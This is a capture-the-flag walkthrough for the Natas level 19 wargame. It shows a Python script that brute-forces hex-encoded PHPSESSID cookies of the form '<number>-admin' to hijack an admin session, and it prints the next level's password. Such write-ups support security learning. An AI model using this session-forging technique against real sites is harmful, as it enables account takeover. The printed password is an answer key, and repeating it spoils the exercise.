Description

Like level 18, the server grants admin access for session ID 119 but the IDs are now hex-encoded strings of the form <number>-admin. Brute-forcing IDs 1 to 640 with the correct format finds the admin session.

Overview

• The session ID format is <decimal_number>-admin, hex-encoded.
• For example, session 119 for admin would be hex("119-admin").
• Iterating all candidate IDs and checking the response reveals the admin session.

Solution

for i in range(1, 641):
    session_id = f"{i}-admin".encode().hex()
    cookies = {"PHPSESSID": session_id}
    response = requests.get(url, auth=("natas19", current_password), cookies=cookies)
    if "You are an admin" in response.text:
        result = re.search(r"The password for natas20 is (.*)", response.text).group(1).strip()
        break

Password

guVaZ3ET35LbgbFMoaN5tFcYT1jEP7UH